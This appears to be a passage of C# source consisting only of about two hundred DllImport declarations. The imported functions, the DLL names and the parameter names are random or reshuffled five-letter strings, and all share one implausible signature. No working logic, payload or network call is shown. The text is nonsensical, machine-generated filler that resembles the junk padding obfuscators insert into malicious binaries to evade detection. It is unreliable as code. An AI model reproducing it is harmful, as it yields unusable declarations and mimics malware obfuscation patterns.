  public static extern byte[] QtZUE([MarshalAs(UnmanagedType.VBByRefStr)] ref string RCBop, string[] PZmNg, char MlCOC);

  [DllImport("Pbgdo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AsMHf([MarshalAs(UnmanagedType.VBByRefStr)] ref string EFcdm, string[] IqSlP, char UqzoS);

  [DllImport("vDhHt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OONRD([MarshalAs(UnmanagedType.VBByRefStr)] ref string INQHh, string[] LpZTI, char eSLZi);

  [DllImport("pCPvO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RQErR([MarshalAs(UnmanagedType.VBByRefStr)] ref string BEfRP, string[] IdZuR, char qvsEG);

  [DllImport("GlBRn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UrsCM([MarshalAs(UnmanagedType.VBByRefStr)] ref string GBqUf, string[] feiSN, char SzLLb);

  [DllImport("FpVbt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ehZzN([MarshalAs(UnmanagedType.VBByRefStr)] ref string VcpAT, string[] hTHiF, char EgNfQ);

  [DllImport("spMiG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TuTgb([MarshalAs(UnmanagedType.VBByRefStr)] ref string AuGVn, string[] HuFdV, char BDiDI);

  [DllImport("tAUdl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QGnuu([MarshalAs(UnmanagedType.VBByRefStr)] ref string Occqt, string[] zpOeU, char FoqLo);

  [DllImport("VZAHT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rFCmz([MarshalAs(UnmanagedType.VBByRefStr)] ref string vPuSm, string[] LmvqI, char AUFPU);

  [DllImport("RdAtV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RetIQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string bGNgo, string[] eIEED, char HsBGV);

  [DllImport("zVBfd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zzOEG([MarshalAs(UnmanagedType.VBByRefStr)] ref string LASLB, string[] OZHHu, char uUfrS);

  [DllImport("HFARP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nRqHT([MarshalAs(UnmanagedType.VBByRefStr)] ref string nUgni, string[] tLMhi, char sPvbq);

  [DllImport("bTTSZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VevEt([MarshalAs(UnmanagedType.VBByRefStr)] ref string IDIoO, string[] BQTVO, char oQufc);

  [DllImport("pZZLz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PlcQf([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZuHUD, string[] TGLmZ, char UPigC);

  [DllImport("NdzAI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZvDAL([MarshalAs(UnmanagedType.VBByRefStr)] ref string RNqGb, string[] sNGvd, char mmlpb);

  [DllImport("hlofE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SbEQQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string SMueg, string[] BehuF, char cpcOp);

  [DllImport("VcCcn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MLnSm([MarshalAs(UnmanagedType.VBByRefStr)] ref string gAvRp, string[] NFCNe, char sOCMi);

  [DllImport("PVNsC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eGIqI([MarshalAs(UnmanagedType.VBByRefStr)] ref string CBFdl, string[] qThhz, char BEuTl);

  [DllImport("tzMHr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dMtvQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string FffFO, string[] cDUCb, char rRrDv);

  [DllImport("URetI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PAUFP([MarshalAs(UnmanagedType.VBByRefStr)] ref string QRdAt, string[] VbGNg, char oeIEE);

  [DllImport("VzzOE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DHsBG([MarshalAs(UnmanagedType.VBByRefStr)] ref string GzVBf, string[] dLASL, char BOZHH);

  [DllImport("SnRqH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uuUfr([MarshalAs(UnmanagedType.VBByRefStr)] ref string THFAR, string[] PnUgn, char itLMh);

  [DllImport("qVevE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] isPvb([MarshalAs(UnmanagedType.VBByRefStr)] ref string tbTTS, string[] ZIDIo, char OBQTV);

  [DllImport("cPlcQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OoQuf([MarshalAs(UnmanagedType.VBByRefStr)] ref string fpZZL, string[] zZuHU, char DTGLm);

  [DllImport("CZvDA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZUPig([MarshalAs(UnmanagedType.VBByRefStr)] ref string LNdzA, string[] IRNqG, char bsNGv);

  [DllImport("bSbEQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dmmlp([MarshalAs(UnmanagedType.VBByRefStr)] ref string Qhlof, string[] ESMue, char gBehu);

  [DllImport("pMLnS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FcpcO([MarshalAs(UnmanagedType.VBByRefStr)] ref string mVcCc, string[] ngAvR, char pNFCN);

  [DllImport("ieGIq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] esOCM([MarshalAs(UnmanagedType.VBByRefStr)] ref string IPVNs, string[] CCBFd, char lqThh);

  [DllImport("ldMtv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zBEuT([MarshalAs(UnmanagedType.VBByRefStr)] ref string QtzMH, string[] rFffF, char OcDUC);

  [DllImport("vPAUF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] brRrD([MarshalAs(UnmanagedType.VBByRefStr)] ref string PURet, string[] IQRdA, char tVbGN);

  [DllImport("EDHsB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] goeIE([MarshalAs(UnmanagedType.VBByRefStr)] ref string GVzzO, string[] EGzVB, char fdLAS);

  [DllImport("HuuUf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LBOZH([MarshalAs(UnmanagedType.VBByRefStr)] ref string rSnRq, string[] HTHFA, char RPnUg);

  [DllImport("hisPv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nitLM([MarshalAs(UnmanagedType.VBByRefStr)] ref string bqVev, string[] EtbTT, char SZIDI);

  [DllImport("VOoQu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oOBQT([MarshalAs(UnmanagedType.VBByRefStr)] ref string fcPlc, string[] QfpZZ, char LzZuH);

  [DllImport("mZUPi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UDTGL([MarshalAs(UnmanagedType.VBByRefStr)] ref string gCZvD, string[] ALNdz, char AIRNq);

  [DllImport("vdmml.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GbsNG([MarshalAs(UnmanagedType.VBByRefStr)] ref string pbSbE, string[] QQhlo, char fESMu);

  [DllImport("uFcpc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] egBeh([MarshalAs(UnmanagedType.VBByRefStr)] ref string OpMLn, string[] SmVcC, char cngAv);

  [DllImport("NesOC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RpNFC([MarshalAs(UnmanagedType.VBByRefStr)] ref string MieGI, string[] qIPVN, char sCCBF);

  [DllImport("hzBEu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dlqTh([MarshalAs(UnmanagedType.VBByRefStr)] ref string TldMt, string[] vQtzM, char HrFff);

  [DllImport("CbrRr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FOcDU([MarshalAs(UnmanagedType.VBByRefStr)] ref string DvPAU, string[] FPURe, char tIQRd);

  [DllImport("NgoeI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AtVbG([MarshalAs(UnmanagedType.VBByRefStr)] ref string EEDHs, string[] BGVzz, char OEGzV);

  [DllImport("SLBOZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BfdLA([MarshalAs(UnmanagedType.VBByRefStr)] ref string HHuuU, string[] frSnR, char qHTHF);

  [DllImport("gnitL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ARPnU([MarshalAs(UnmanagedType.VBByRefStr)] ref string MhisP, string[] vbqVe, char vEtbT);

  [DllImport("IoOBQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TSZID([MarshalAs(UnmanagedType.VBByRefStr)] ref string TVOoQ, string[] ufcPl, char cQfpZ);

  [DllImport("HUDTG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZLzZu([MarshalAs(UnmanagedType.VBByRefStr)] ref string LmZUP, string[] igCZv, char DALNd);

  [DllImport("qGbsN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zAIRN([MarshalAs(UnmanagedType.VBByRefStr)] ref string Gvdmm, string[] lpbSb, char EQQhl);

  [DllImport("uegBe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ofESM([MarshalAs(UnmanagedType.VBByRefStr)] ref string huFcp, string[] cOpML, char nSmVc);

  [DllImport("vRpNF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CcngA([MarshalAs(UnmanagedType.VBByRefStr)] ref string CNesO, string[] CMieG, char IqIPV);

  [DllImport("FdlqT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NsCCB([MarshalAs(UnmanagedType.VBByRefStr)] ref string hhzBE, string[] uTldM, char tvQtz);

  [DllImport("fFOcD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MHrFf([MarshalAs(UnmanagedType.VBByRefStr)] ref string UCbrR, string[] rDvPA, char UFPUR);

  [DllImport("dAtVb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] etIQR([MarshalAs(UnmanagedType.VBByRefStr)] ref string GNgoe, string[] IEEDH, char sBGVz);

  [DllImport("VBfdL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zOEGz([MarshalAs(UnmanagedType.VBByRefStr)] ref string ASLBO, string[] ZHHuu, char UfrSn);

  [DllImport("FARPn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RqHTH([MarshalAs(UnmanagedType.VBByRefStr)] ref string Ugnit, string[] LMhis, char PvbqV);

  [DllImport("TTSZI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] evEtb([MarshalAs(UnmanagedType.VBByRefStr)] ref string DIoOB, string[] QTVOo, char QufcP);

  [DllImport("ZZLzZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] lcQfp([MarshalAs(UnmanagedType.VBByRefStr)] ref string uHUDT, string[] GLmZU, char PigCZ);

  [DllImport("dzAIR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vDALN([MarshalAs(UnmanagedType.VBByRefStr)] ref string NqGbs, string[] NGvdm, char mlpbS);

  [DllImport("lofES.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bEQQh([MarshalAs(UnmanagedType.VBByRefStr)] ref string MuegB, string[] ehuFc, char pcOpM);

  [DllImport("cCcng.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LnSmV([MarshalAs(UnmanagedType.VBByRefStr)] ref string AvRpN, string[] FCNes, char OCMie);

  [DllImport("VNsCC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GIqIP([MarshalAs(UnmanagedType.VBByRefStr)] ref string BFdlq, string[] ThhzB, char EuTld);

  [DllImport("zMHrF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MtvQt([MarshalAs(UnmanagedType.VBByRefStr)] ref string ffFOc, string[] DUCbr, char RrDvP);

  [DllImport("RetIQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AUFPU([MarshalAs(UnmanagedType.VBByRefStr)] ref string RdAtV, string[] bGNgo, char eIEED);

  [DllImport("zzOEG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HsBGV([MarshalAs(UnmanagedType.VBByRefStr)] ref string zVBfd, string[] LASLB, char OZHHu);

  [DllImport("nRqHT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uUfrS([MarshalAs(UnmanagedType.VBByRefStr)] ref string HFARP, string[] nUgni, char tLMhi);

  [DllImport("VevEt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sPvbq([MarshalAs(UnmanagedType.VBByRefStr)] ref string bTTSZ, string[] IDIoO, char BQTVO);

  [DllImport("PlcQf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oQufc([MarshalAs(UnmanagedType.VBByRefStr)] ref string pZZLz, string[] ZuHUD, char TGLmZ);

  [DllImport("ZvDAL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UPigC([MarshalAs(UnmanagedType.VBByRefStr)] ref string NdzAI, string[] RNqGb, char sNGvd);

  [DllImport("MLnSm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cpcOp([MarshalAs(UnmanagedType.VBByRefStr)] ref string VcCcn, string[] gAvRp, char NFCNe);

  [DllImport("eGIqI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sOCMi([MarshalAs(UnmanagedType.VBByRefStr)] ref string PVNsC, string[] CBFdl, char qThhz);

  [DllImport("dMtvQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BEuTl([MarshalAs(UnmanagedType.VBByRefStr)] ref string tzMHr, string[] FffFO, char cDUCb);

  [DllImport("PAUFP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rRrDv([MarshalAs(UnmanagedType.VBByRefStr)] ref string URetI, string[] QRdAt, char VbGNg);

  [DllImport("DHsBG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oeIEE([MarshalAs(UnmanagedType.VBByRefStr)] ref string VzzOE, string[] GzVBf, char dLASL);

  [DllImport("uuUfr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BOZHH([MarshalAs(UnmanagedType.VBByRefStr)] ref string SnRqH, string[] THFAR, char PnUgn);

  [DllImport("isPvb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] itLMh([MarshalAs(UnmanagedType.VBByRefStr)] ref string qVevE, string[] tbTTS, char ZIDIo);

  [DllImport("OoQuf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OBQTV([MarshalAs(UnmanagedType.VBByRefStr)] ref string cPlcQ, string[] fpZZL, char zZuHU);

  [DllImport("ZUPig.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DTGLm([MarshalAs(UnmanagedType.VBByRefStr)] ref string CZvDA, string[] LNdzA, char IRNqG);

  [DllImport("dmmlp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bsNGv([MarshalAs(UnmanagedType.VBByRefStr)] ref string bSbEQ, string[] Qhlof, char ESMue);

  [DllImport("FcpcO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gBehu([MarshalAs(UnmanagedType.VBByRefStr)] ref string pMLnS, string[] mVcCc, char ngAvR);

  [DllImport("esOCM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pNFCN([MarshalAs(UnmanagedType.VBByRefStr)] ref string ieGIq, string[] IPVNs, char CCBFd);

  [DllImport("zBEuT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] lqThh([MarshalAs(UnmanagedType.VBByRefStr)] ref string ldMtv, string[] QtzMH, char rFffF);

  [DllImport("brRrD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OcDUC([MarshalAs(UnmanagedType.VBByRefStr)] ref string vPAUF, string[] PURet, char IQRdA);

  [DllImport("goeIE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tVbGN([MarshalAs(UnmanagedType.VBByRefStr)] ref string EDHsB, string[] GVzzO, char EGzVB);

  [DllImport("LBOZH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fdLAS([MarshalAs(UnmanagedType.VBByRefStr)] ref string HuuUf, string[] rSnRq, char HTHFA);

  [DllImport("nitLM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RPnUg([MarshalAs(UnmanagedType.VBByRefStr)] ref string hisPv, string[] bqVev, char EtbTT);

  [DllImport("oOBQT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SZIDI([MarshalAs(UnmanagedType.VBByRefStr)] ref string VOoQu, string[] fcPlc, char QfpZZ);

  [DllImport("UDTGL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LzZuH([MarshalAs(UnmanagedType.VBByRefStr)] ref string mZUPi, string[] gCZvD, char ALNdz);

  [DllImport("GbsNG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AIRNq([MarshalAs(UnmanagedType.VBByRefStr)] ref string vdmml, string[] pbSbE, char QQhlo);

  [DllImport("egBeh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fESMu([MarshalAs(UnmanagedType.VBByRefStr)] ref string uFcpc, string[] OpMLn, char SmVcC);

  [DllImport("RpNFC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cngAv([MarshalAs(UnmanagedType.VBByRefStr)] ref string NesOC, string[] MieGI, char qIPVN);

  [DllImport("dlqTh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sCCBF([MarshalAs(UnmanagedType.VBByRefStr)] ref string hzBEu, string[] TldMt, char vQtzM);

  [DllImport("FOcDU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HrFff([MarshalAs(UnmanagedType.VBByRefStr)] ref string CbrRr, string[] DvPAU, char FPURe);

  [DllImport("AtVbG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tIQRd([MarshalAs(UnmanagedType.VBByRefStr)] ref string NgoeI, string[] EEDHs, char BGVzz);

  [DllImport("BfdLA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OEGzV([MarshalAs(UnmanagedType.VBByRefStr)] ref string SLBOZ, string[] HHuuU, char frSnR);

  [DllImport("ARPnU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qHTHF([MarshalAs(UnmanagedType.VBByRefStr)] ref string gnitL, string[] MhisP, char vbqVe);

  [DllImport("TSZID.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vEtbT([MarshalAs(UnmanagedType.VBByRefStr)] ref string IoOBQ, string[] TVOoQ, char ufcPl);

  [DllImport("ZLzZu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cQfpZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string HUDTG, string[] LmZUP, char igCZv);

  [DllImport("zAIRN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DALNd([MarshalAs(UnmanagedType.VBByRefStr)] ref string qGbsN, string[] Gvdmm, char lpbSb);

  [DllImport("ofESM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EQQhl([MarshalAs(UnmanagedType.VBByRefStr)] ref string uegBe, string[] huFcp, char cOpML);

  [DllImport("CcngA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nSmVc([MarshalAs(UnmanagedType.VBByRefStr)] ref string vRpNF, string[] CNesO, char CMieG);

  [DllImport("NsCCB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IqIPV([MarshalAs(UnmanagedType.VBByRefStr)] ref string FdlqT, string[] hhzBE, char uTldM);

  [DllImport("MHrFf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tvQtz([MarshalAs(UnmanagedType.VBByRefStr)] ref string fFOcD, string[] UCbrR, char rDvPA);

  [DllImport("etIQR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UFPUR([MarshalAs(UnmanagedType.VBByRefStr)] ref string dAtVb, string[] GNgoe, char IEEDH);

  [DllImport("zOEGz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sBGVz([MarshalAs(UnmanagedType.VBByRefStr)] ref string VBfdL, string[] ASLBO, char ZHHuu);

  [DllImport("RqHTH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UfrSn([MarshalAs(UnmanagedType.VBByRefStr)] ref string FARPn, string[] Ugnit, char LMhis);

  [DllImport("evEtb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PvbqV([MarshalAs(UnmanagedType.VBByRefStr)] ref string TTSZI, string[] DIoOB, char QTVOo);

  [DllImport("lcQfp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QufcP([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZZLzZ, string[] uHUDT, char GLmZU);

  [DllImport("vDALN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PigCZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string dzAIR, string[] NqGbs, char NGvdm);

  [DllImport("bEQQh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mlpbS([MarshalAs(UnmanagedType.VBByRefStr)] ref string lofES, string[] MuegB, char ehuFc);

  [DllImport("LnSmV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pcOpM([MarshalAs(UnmanagedType.VBByRefStr)] ref string cCcng, string[] AvRpN, char FCNes);

  [DllImport("GIqIP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OCMie([MarshalAs(UnmanagedType.VBByRefStr)] ref string VNsCC, string[] BFdlq, char ThhzB);

  [DllImport("MtvQt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EuTld([MarshalAs(UnmanagedType.VBByRefStr)] ref string zMHrF, string[] ffFOc, char DUCbr);

  [DllImport("AUFPU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RrDvP([MarshalAs(UnmanagedType.VBByRefStr)] ref string RetIQ, string[] RdAtV, char bGNgo);

  [DllImport("HsBGV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eIEED([MarshalAs(UnmanagedType.VBByRefStr)] ref string zzOEG, string[] zVBfd, char LASLB);

  [DllImport("uUfrS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OZHHu([MarshalAs(UnmanagedType.VBByRefStr)] ref string nRqHT, string[] HFARP, char nUgni);

  [DllImport("sPvbq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tLMhi([MarshalAs(UnmanagedType.VBByRefStr)] ref string VevEt, string[] bTTSZ, char IDIoO);

  [DllImport("oQufc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BQTVO([MarshalAs(UnmanagedType.VBByRefStr)] ref string PlcQf, string[] pZZLz, char ZuHUD);

  [DllImport("UPigC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TGLmZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZvDAL, string[] NdzAI, char RNqGb);

  [DllImport("mmlpb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sNGvd([MarshalAs(UnmanagedType.VBByRefStr)] ref string SbEQQ, string[] hlofE, char SMueg);

  [DllImport("cpcOp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BehuF([MarshalAs(UnmanagedType.VBByRefStr)] ref string MLnSm, string[] VcCcn, char gAvRp);

  [DllImport("sOCMi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NFCNe([MarshalAs(UnmanagedType.VBByRefStr)] ref string eGIqI, string[] PVNsC, char CBFdl);

  [DllImport("BEuTl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qThhz([MarshalAs(UnmanagedType.VBByRefStr)] ref string dMtvQ, string[] tzMHr, char FffFO);

  [DllImport("rRrDv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cDUCb([MarshalAs(UnmanagedType.VBByRefStr)] ref string PAUFP, string[] URetI, char QRdAt);

  [DllImport("oeIEE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VbGNg([MarshalAs(UnmanagedType.VBByRefStr)] ref string DHsBG, string[] VzzOE, char GzVBf);

  [DllImport("BOZHH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dLASL([MarshalAs(UnmanagedType.VBByRefStr)] ref string uuUfr, string[] SnRqH, char THFAR);

  [DllImport("itLMh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PnUgn([MarshalAs(UnmanagedType.VBByRefStr)] ref string isPvb, string[] qVevE, char tbTTS);

  [DllImport("OBQTV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZIDIo([MarshalAs(UnmanagedType.VBByRefStr)] ref string OoQuf, string[] cPlcQ, char fpZZL);

  [DllImport("DTGLm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zZuHU([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZUPig, string[] CZvDA, char LNdzA);

  [DllImport("bsNGv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IRNqG([MarshalAs(UnmanagedType.VBByRefStr)] ref string dmmlp, string[] bSbEQ, char Qhlof);

  [DllImport("gBehu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ESMue([MarshalAs(UnmanagedType.VBByRefStr)] ref string FcpcO, string[] pMLnS, char mVcCc);

  [DllImport("pNFCN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ngAvR([MarshalAs(UnmanagedType.VBByRefStr)] ref string esOCM, string[] ieGIq, char IPVNs);

  [DllImport("lqThh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CCBFd([MarshalAs(UnmanagedType.VBByRefStr)] ref string zBEuT, string[] ldMtv, char QtzMH);

  [DllImport("OcDUC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rFffF([MarshalAs(UnmanagedType.VBByRefStr)] ref string brRrD, string[] vPAUF, char PURet);

  [DllImport("tVbGN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IQRdA([MarshalAs(UnmanagedType.VBByRefStr)] ref string goeIE, string[] EDHsB, char GVzzO);

  [DllImport("fdLAS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EGzVB([MarshalAs(UnmanagedType.VBByRefStr)] ref string LBOZH, string[] HuuUf, char rSnRq);

  [DllImport("RPnUg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HTHFA([MarshalAs(UnmanagedType.VBByRefStr)] ref string nitLM, string[] hisPv, char bqVev);

  [DllImport("SZIDI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EtbTT([MarshalAs(UnmanagedType.VBByRefStr)] ref string TugvB, string[] DuSvd, char MHvQG);

  [DllImport("reFco.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zMUEE([MarshalAs(UnmanagedType.VBByRefStr)] ref string DlCor, string[] QFDvO, char MiEei);

  [DllImport("gpAtV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fqtIf([MarshalAs(UnmanagedType.VBByRefStr)] ref string nFbso, string[] dHQRQ, char UGAGm);

  [DllImport("MlArd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zvNQS([MarshalAs(UnmanagedType.VBByRefStr)] ref string LNhIO, string[] dnGTH, char tUrqS);

  [DllImport("HSNfd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BREHh([MarshalAs(UnmanagedType.VBByRefStr)] ref string ATtmh, string[] tLbui, char rPLop);

  [DllImport("Zhihn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UquEs([MarshalAs(UnmanagedType.VBByRefStr)] ref string IPVCO, string[] Nehld, char BPHsc);

  [DllImport("pVmLL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dzbfs([MarshalAs(UnmanagedType.VBByRefStr)] ref string ntGiD, string[] iGZzZ, char leufC);

  [DllImport("cqzAH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mvCzI([MarshalAs(UnmanagedType.VBByRefStr)] ref string gcEFn, string[] sMTIp, char mmlpb);

  [DllImport("tlnfD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] goEfe([MarshalAs(UnmanagedType.VBByRefStr)] ref string gMIrg, string[] BqhuF, char ooccD);

